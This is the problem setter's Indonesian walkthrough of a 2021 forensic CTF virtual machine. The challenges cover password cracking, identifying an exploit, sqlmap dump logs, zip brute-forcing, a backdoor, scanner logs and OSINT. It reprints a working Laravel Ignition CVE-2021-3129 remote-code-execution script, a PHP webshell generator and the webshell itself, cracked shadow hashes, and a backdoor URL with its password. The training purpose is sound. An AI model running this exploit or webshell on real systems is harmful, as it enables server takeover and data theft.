WriteUp KKS-TNI AD CTF 2021 Forensic VM

Last Update Article: 2021-09-16 06:55:34


WriteUp KKS-TNI AD CTF 2021 Forensic VM

اَلسَّلَامُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَا تُهُ / بِسْمِ اللّهِ الرَّحْمَنِ الرَّحِيْمِ

Di sini saya ini berbagi perspektif saya sebagai problem setter dari kompetisi KKS-TNI kategori Forensic tentang VM ini, tujuan awalnya sama, untuk menghabiskan waktu para peserta di jam awal kompetisi, berbeda dengan tahun lalu, cerita VM kali ini adalah VM yang disita dari seorang terduga hacker yang melakukan peretasan terhadap sebuah perusahaan. Di tahun lalu dapat dibaca pada tautan berikut ini.

VM ini dibuat hanya dalam waktu 1 hari(?), sepertinya begitu. Karena pembuatan VM ini sangat terinspirasi dari pekerjaan penulis di kesehariannya sebagai investigator hehe, dan ini hampir cerita asli kok, kalau ketemu aku di kehidupan nyata tak kasih dokumentasi prosesnya deh (dari awal sampai proses pencidukan, eh) :p

VM dapat diunduh di tautan berikut ini

https://drive.google.com/file/d/14HwIa-f_E_slCjtV-g9qsa4f0Dt5IEFx/view?usp=sharing

https://mega.nz/file/woJDDIbB#kVu-s4I5BksU-IFRlY_9mNIAF9T7ler7wIzsj4AfePk

Dan passwordnya adalah

4d1b54eeaceb5277ea022f7b42b53113

Another User

Deskripsi:

Kami menyita sebuah mesin dari terduga pelaku perentasan pada website sebuah perusahaan, di situ diberikan sebuah akun yang dapat masuk ke dalam sebuah mesinnya, dapatkah kamu mendapatkan akun selain guest? KKST2021{username:password}

Di soal ini saya ingin para peserta mendapatkan username dan password selain yang sudah diberikan, saya sengaja set /etc/shadow ke 777 untuk memudahkan proses cracking, kalau tidak begitu caranya gimana? melakukan dump VDI dari OVAnya, ribet kan?. So cara crackingnya bagaimana?

  • /etc/passwd
guest@hackyou:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
guest:x:1001:1001:\,,,:/home/guest:/bin/bash
ellen:x:1002:1002:,,,:/home/ellen:/bin/bash
  • /etc/shadow
guest@hackyou:~$ cat /etc/shadow
root:*:18480:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18500:0:99999:7:::
guest:$6$ryrGLDTQ$JK83hxg/8iq8Vb3hlMuCXldAyL0GFdae4rDGBNo3DhS7I8GzenSS2cnZ3jDIhO8W71a5KYIrtYz2DZklWq9w./:18504:0:99999:7:::
ellen:$6$2MEFal4T$iq0DtS8CD4CXEdST5MT6hmhK2ERdgPqJs6kzHImiFgnE34UwNdAwgig/XsyLRzRnxxtNGKLWMCzpTlAHO2l0k/:18789:0:99999:7:::

Lakukan unshadow lalu crack dengan John dan didapatkan hasilnya adalah ihateyou

Flag = KKST2021{ellen:ihateyou}

CVE?

Deskripsi:

Sebuah website dari perusahaan yang terjadi korban perentasan itu setelah dilakukan wawancara terhadap pengembangnya, bahasa pemrogramman yang digunakan adalah PHP dan OS yang digunakan adalah Ubuntu dan webservernya adalah Apache. Perusahaan masih belum mengetahui apa bugnya, terduga pelaku mengatakan exploitnya tersimpan di dalam mesinnya, dapatkah kamu memberikan nomor CVE-nya? KKST2021{CVE-Y-N} Kamu hanya punya kesempatan mencoba submit flag hanya 2x!

Di soal ini, saya ingin tiap-tiap peserta memahami task yang diberikan dan teliti mencari apa file yang tepat, tujuan dilakukan pembatasan karena saya memberikan banyak sekali rabbit hole di dalam mesinnya.

Untitled

Di situ saya memberi banyak sekali exploit dan CVE yang sudah disediakan, tujuannya agar peserta yang tidak teliti langsung melakukan submit flag sesuai dengan nomor CVE di dalam file itu, hehe banyak juga yang jatuh di sini hehehehe. Mari kita bahas dengan detail, di dalam deskripsi soal bahasa pemrograman yang digunakan adalah PHP yang berati exploitnya harus related dengan PHP dong? Iya, di dalam situ hanya ada di Test.py yang mana isinya adalah berikut ini:

#!/usr/bin/env python3
import requests
import subprocess
import re
import os
import sys

def send(url="", viewfile=""):
    headers = {
        "Accept": "application/json"
    }
    data = {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
            "variableName": "whateverYouWant",
            "viewFile": ""
        }
    }
    data['parameters']['viewFile'] = viewfile
    resp = requests.post(url, json=data, headers=headers, verify=False)
    return resp

def generate(chain="", command=""):
    if os.path.exists("phpggc"):
        print("[+] PHPGGC found. Generating payload and deploying it to the target")
    else:
        print("[i] PHPGGC not found. Cloning it")
        os.system("git clone https://github.com/ambionics/phpggc.git")
    payload = subprocess.getoutput(
        r"php -d'phar.readonly=0' ./phpggc/phpggc '%s' system '%s' --phar phar -o php://output | base64 -w0 | "
        r"sed -E 's/./\0=00/g; s/==/=3D=/g; s/$/=00/g'" % (chain, command)
    )
    return payload

def clear(url):
    print("[i] Trying to clear logs")
    while send(
        url,
        "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
    ).status_code != 200:
        continue
    print("[+] Logs cleared")

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print("Usage: %s <URL> <CHAIN> <CMD>" % sys.argv[0])
        print("Example: %s http(s)://localhost:8000 Monolog/RCE1 whoami" % sys.argv[0])
        print("I recommend using Monolog/RCE1 or Monolog/RCE2 as CHAIN")
        exit(1)

    url = sys.argv[1] + "/_ignition/execute-solution"
    chain = sys.argv[2]
    command = sys.argv[3]

    clear(url)
    send(url, "AA")
    send(url, generate(chain, command))

    if send(
        url,
        "php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
    ).status_code == 200:
        print("[+] Successfully converted logs to PHAR")
    else:
        print("[-] Failed to convert logs to PHAR")

    response = send(url, "phar://../storage/logs/laravel.log")
    result = re.sub("{[\s\S]*}", "", response.text)

    if result:
        print("[+] PHAR deserialized. Exploited\n")
        print(result)
    else:
        print("[i] There is no output")

    clear(url)

Di script tersebut, terlihat error dan inject pointnya ada di Facade\Ignition\Solutions\MakeViewVariableOptionalSolution ini adalah CVE dari Laravel di tahun ini dari debug mode.

Flag = KKST2021{CVE-2021-3129}

Database

Deskripsi:

Perusahaan tersebut mengatakan databasenya didump oleh terduga pelaku ini, dapatkah kamu memberitahu kami apa saja database yang terduga dump? Lalu, apa tabel yang terakhir didump oleh terduga? dan berapa banyak datanya? dan dari database apa?

KKST2021{nama_db:tabel:jumlah_data:db} / KKST2021{nama_db,nama_db,nama_db:tabel:jumlah_data:db}

Dari sini, saya ingin tiap-tiap peserta memahami letak permasalahannya, yaitu mencari Database apa yang telah didump oleh terduga pelaku ini. Kita ke inti dari masalah terlebih dahulu, database yang didump, kita harus bicara sebuah alat bantunya, apa? iya sqlmap. Jadi kita harus mencari log sqlmap ini di dalam mesin.

Untitled

Di sini, ada sebuah website yaitu rpyid.asia yang dilakukan dumping dengan sqlmap. Isi dari direktori web tersebut adalah

Untitled

Database yang didump ada 2 yaitu master_data dan Sp0ngeB0B lalu? tabel apa yang terakhir didump? kita lihat dengan command berikut ini

Tabel dari master_data

Untitled

Tabel dari Sp0ngeB0B

Untitled

Dilihat di situ bahwa tabel kelas.csv dan users.csv memiliki jam yang sama, lalu yang mana terakhir didump? cek dengan stat

Untitled

Bisa terlihat di situ bahwa tabel users.csv lebih akhir dilakukan dumping. Berapa banyak data yang didump dari tabel terakhir? Tinggal dilakukan wc -l

Untitled

Yaitu ada 42, eits tapi jangan lupa, format csv itu di line awal adalah header. Kita kurangin 1, berarti 41?

Untitled

Untitled

Belum, ini masih salah, di akhir csv itu adalah newline (\n)

Untitled

Berati 41 – 1, total datanya hanya ada 40. Dan pertanyaan terakhirnya adalah dari database apa? ya tetap di Sp0ngeB0B.

Flag = KKST2021{master_data,Sp0ngeB0B:users:40:Sp0ngeB0B}

Secret Files

Deskripsi:

Saat melakukan introgasi terhadap terduga, dia mengatakan menyimpan sebuah file yang telah diamankan dengan sebuah password, isi dari file yang diamankan adalah sebuah teks bernama secret, saat ditanya apa passwordnya, dia hanya memberi clue bahwa terdiri dari 5 karakter, karakter awal dan akhir adalah huruf besar lalu karakter di tengahnya adalah huruf kecil, serta sisanya adalah sebuah angka, bantu kami!

Di sini, kita dituntut mencari sebuah file yang tersimpa dan diamankan dengan sebuah password, di sini saya hanya ingin wasting time para peserta mencari sebuah file yang dimaksud itu apa, dan di mana. Sejujurnya simple, ada di

Untitled

Pola passwordnya juga sangat sederhana, [A-Z][0-9][a-z][0-9][A-Z] tinggal bruteforce dengan tools favorite, kalau saya pakai john.

Password zipnya adalah: R4c3K

Flag = KKST2021{LongLiveTheQueen}

BD

Deskripsi:

Pada website yang terentas, setelah melakukan investigasi, ternyata disisipi sebuah backdoor oleh terduga ini dan masih belum dihapus. juga sample backdoornya masih tersimpan di mesinnya, dia tidak memberitahu apa nama backdoornya, dan seterusnya, tolong bantu kami!

Di sini, saya ingin para peserta benar-benar menjadi investigator dengan membaca source dari backdoorgenator yang ada di sini:

import hashlib
import time

def base_shell(passwords):
    base = "<?php "
    base += "$key = '"+str(passwords)+"';"
    base += "if(isset($_GET[0])){"
    base += " if($key == md5($_GET[0])){"
    base += " var_dump(system($_GET[1]));"
    base += " }else{ exit; }"
    base += "}else{ exit; }"
    base += "?>"
    return base

def WriteFile(namefile, data):
    f = open(namefile, "w")
    f.write(data)
    f.close()

def encThings(p, k):
    rets = ""
    pp = list(p)
    kk = list(k)
    for x in range(len(pp)):
        rets += md5Hashing(pp[x])
        rets += md5Hashing(kk[x])
    return rets

def md5Hashing(data):
    return hashlib.md5(data.encode()).hexdigest()

name_file = input("Masukan nama file: ")
passwords = input("Masukan Password: ")
keys = input("Masukan key: ")
md5_password = md5Hashing(passwords)

if len(keys) != len(passwords):
    print("Panjang keys dan passwords harus sama!")
    exit(0)

WriteFile("mybd/" + name_file, base_shell(md5_password))

timefiles = str(time.time())
logging = ""
logging += "NameFiles: " + name_file
logging += "\n"
logging += "PasswordsEncrypted: " + encThings(passwords, keys)

WriteFile("logs/" + timefiles, logging)

Lalu letak backdoornya ada di logs/

Untitled

Dari semua itu? Yang mana yang backdoornya? kita tinggal cocokan dengan membuka satu persatu di https://rpyid.asia/{file}.php dan yang mendapatkan response 200 hanyalah superM.php dan isi dari filenya adalah

<?php $key = ‘e1568c571e684e0fb1724da85d215dc0’;if(isset($_GET[0])){ if($key == md5($_GET[0])){ var_dump(system($_GET[1])); }else{ exit; }}else{ exit; }?>

Terlihat passwordnya dihash dengan md5(), asumsi saya di sini peserta harus cracking sesuai dengan alur generatornya, tapi saya kelupaan bahwa passwordnya terlalu umum, jadi lewat md5 aslinya sudah dapat dicrack di situs online :((((((. Tapi kalau cara aslinya harus baca di folder logs.

Untitled

Di situ file 1623385833.707605 adalah log pembuatan dari superM.php

Untitled

Di situ kita tinggal pecah tiap-tiap bit dari PasswordEncrypted dengan panjang 32 bit. Dan melalukan cracking satu persatu :(((. Tinggal buka backdoornya di web

http://rpyid.asia/superM.php?0=l33t

Flag: KKST2021{InvestigatorMaster}

A files

Deskripsi:

Terduga ini sebelum melakukan peretasan, melakukan proses scanning di website kami, dia menemukan sebuah file yang menjadi awal masuk peretasannya, temukan apa filenya dan apa isinya di web kami.

Di sini saya ingin peserta memahami basic recon menggunakan tools, di sini terdapat list toolsnya

Untitled

Di situ yang biasa digunakan melakukan scanning adalah dirsearch dan OpenDoor, kita tinggal melihat satu persatu logsnya. Dan di dirsearch terdapat log dari web yang sama yaitu rpyid.asia

Untitled

Buka satu persatu dan di https://rpyid.asia:443/affiliate.php terdapat flagnya.

Flag : KKST2021{eVeryLogsMatters}

Social Media

Deskripsi:

Kami tahu, terduga pelaku ini aktif di sebuah media sosial burung biru, dapatkah kamu menemukan akunnya dan memberi tahu kapan dia membuat akunnya?

Jadi, terduga pelaku ini sangat aktif bersosial media, saat ini dia sedang mengembangkan sebuah tools wrapper API untuk akses ke Twitter akun dia, ia coba untuk mengambil jumlah likesnya, tapi sepertinya semua sedang dikembangkan, kan? Oh iya, dia bukan artis, kok.

KKST2021{tgl-bulan-tahun} / KKST2021{01-Januari-2021}

Akun milik attacker adalah sebuah bot.

Di sini, saya ingin para peserta sedikit melakukan OSINT dari data yang diberikan di dalam mesin ini, kata kuncinya adalah burung biru = Twitter, sosial media yang kita dapat dengan mudah mengakses bo–keh maksud saya teknik fotografi bokeh, ehe.

Di direktori /opt/twt

Untitled

Di sinilah Wrapper API yang sedang dibuat oleh si Attacker dan di main.php

<?php

include 'twit.php';
include 'interface.php';
include 'auth.php';

$username = "———————-REDACTED———————-";
$password = "LordAdiMCI8";

$auth = new AuthWrapper($username, $password);
$interface = new InterfaceTwitter();
$API = new TwitterApi();

$tweet = "SELAMAT datang di KKSTNI-AD";
$API->send_tweet($tweet);

for ($i = 0; $i < 1000; $i++) {
    $API->send_tweet($i);
}

$API->send_tweet_with_media(
    "Ini Tweet",
    "https://media.matamata.com/thumbs/2021/08/22/86922-gaya-lord-adi-instagramatadimci8/350x230-img-86922-gaya-lord-adi-instagramatadimci8.jpg"
);

$total_tweet = $API->get_total_tweet("@elonmusk");

$mysql = mysqli_connect("localhost", "root", $password, "log_db_twitter");

if ((int) $total_tweet > 320) {
    if ($API->get_total_likes("@elonmusk") > 100) {
        if ($API->get_following("@elonmusk") > 1000) {
            echo "is oke!";
            $API->send_tweet_with_media(
                "WOW HE IS SO GOOD!",
                "https://assets.pikiran-rakyat.com/crop/0x0:0x0/x/photo/2021/08/22/1644616503.jpg"
            );
        } else {
            if ($API->get_likes_tweet("1430386996644499457")) {
                var_dump($API->get_profile("@twicetagram"));
            } else {
                echo "unexpected error";
            }
        }
    } else {
        $API->send_tweet("Something is wrong " . $API->get_total_likes("@elonmusk"));
    }
} else {
    $API->send_tweet("Something is wrong " . $total_tweet);
}

Dari cluenya dia bukan seorang artis dan mendapatkan sebuah likes dari akunnya, maka yang paling logis adalah akun ini

get_likes_tweet(“1430386996644499457”)

di situ ada sebuah id_tweet yang kita bisa gunakan untuk mendapatkan akun dari attacker dengan cara

https://twitter.com/usernamebesa/status/1430386996644499457

dan didapatkan akunnya adalah

Untitled

Tinggal cek di

http://www.twitterjoindate.com/search?utf8=%E2%9C%93&name=kpopframesbot+&commit=Search

Untitled

Flag = KKST2021{08-Juli-2020}

Sekian pandangan saya soal VM Forensic yang saya kembangkan tahun ini, semoga dapat bermanfaat bagi para pembaca, dan untuk peserta sekalian, mohon maaf jika VM-nya aneh, tebak-tebakan dan membebankan kalian, semoga bertemu di VM selanjutnya di keadaan yang sangat baik!